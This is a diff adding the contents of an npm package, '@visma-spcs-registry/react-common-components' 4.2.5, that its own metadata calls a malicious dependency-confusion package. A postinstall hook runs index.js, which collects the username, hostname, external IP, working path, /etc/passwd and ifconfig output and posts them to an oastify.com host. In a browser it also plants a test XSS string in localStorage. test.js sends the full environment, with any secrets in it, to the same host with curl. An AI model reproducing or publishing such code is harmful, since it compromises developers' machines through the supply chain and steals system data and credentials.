@visma-spcs-registry/react-common-components 4.2.5

package/index.js

@@ -0,0 +1,111 @@
+const os = require('os');
+const axios = require('axios');
+const path = require('path');
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+// Cek apakah berjalan di browser atau Node.js
+const isBrowser = typeof window !== 'undefined';
+
+// Mendapatkan waktu saat ini
+function getCurrentTime() {
+  return new Date().toISOString();
+}
+
+// Mendapatkan nama organisasi atau pengguna
+function getOrganization() {
+  return os.userInfo().username;
+}
+
+// Mendapatkan IP eksternal dengan menggunakan API
+async function getExternalIP() {
+  try {
+    const response = await axios.get('https://api.ipify.org?format=json');
+    return response.data.ip;
+  } catch (error) {
+    return 'IP eksternal tidak ditemukan';
+  }
+}
+
+// Mendapatkan nama host
+function getHostname() {
+  return os.hostname();
+}
+
+// Mendapatkan jalur direktori saat ini
+function getCurrentPath() {
+  return path.resolve('.');
+}
+
+// Membaca file /etc/passwd (hanya jika ada izin akses)
+function getEtcPasswd() {
+  try {
+    const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
+    return passwdContent;
+  } catch (error) {
+    return 'Tidak dapat membaca file /etc/passwd';
+  }
+}
+
+// Mendapatkan konfigurasi jaringan dengan ifconfig
+function getIfconfig() {
+  try {
+    return execSync('ifconfig', { encoding: 'utf-8' });
+  } catch (error) {
+    return 'Tidak dapat mengambil konfigurasi jaringan';
+  }
+}
+
+// Simpan payload XSS ke localStorage (Hanya jika berjalan di browser)
+function storeXSSPayload() {
+  if (isBrowser) {
+    const payload = `<script>console.log('XSS berhasil disisipkan!');</script>`;
+    try {
+      localStorage.setItem('xssTest', payload);
+      console.log('✅ XSS Payload berhasil disimpan di localStorage.');
+    } catch (error) {
+      console.error('❌ Gagal menyimpan payload ke localStorage:', error);
+    }
+  } else {
+    console.log('ℹ️ Tidak berjalan di browser, melewati XSS Storage.');
+  }
+}
+
+// Mengumpulkan data yang dibutuhkan
+async function collectData() {
+  const time = getCurrentTime();
+  const organization = getOrganization();
+  const externalIP = await getExternalIP();
+  const hostname = getHostname();
+  const currentPath = getCurrentPath();
+  const etcPasswd = getEtcPasswd();
+  const ipConfig = getIfconfig();
+
+  if (isBrowser) {
+    storeXSSPayload();
+  }
+
+  const data = {
+    time,
+    organization,
+    ipAddress: externalIP,
+    hostname,
+    currentPath,
+    etcPasswd,
+    ipConfig,
+  };
+
+  console.log(data); // Tampilkan data yang dikumpulkan
+
+  // Kirim data ke server target
+  axios.post('https://owo1psomvgl0vrfn7t4uf1d4uv0mocc1.oastify.com/log', data)
+    .then(response => {
+      console.log('✅ Data berhasil dikirim:', response.data);
+    })
+    .catch(error => {
+      console.error('❌ Error saat mengirim data:', error);
+    });
+}
+
+// Jalankan fungsi
+collectData();

package/package.json

@@ -0,0 +1,14 @@
+{
+    "name": "@visma-spcs-registry/react-common-components",
+    "version": "4.2.5",
+    "description": "Malicious package for dependency confusion",
+    "main": "index.js",
+    "scripts": {
+        "postinstall": "node index.js"
+    },
+    "author": "Attacker",
+    "license": "MIT",
+    "dependencies": {
+        "axios": "^0.21.1"
+    }
+}

package/test.js

@@ -0,0 +1,7 @@
+const { exec } = require('child_process');
+exec('curl -X POST https://owo1psomvgl0vrfn7t4uf1d4uv0mocc1.oastify.com -d "$(env)"', (error) => {
+    if (error) {
+        console.error(`Exec error: ${error}`);
+        return;
+    }
+});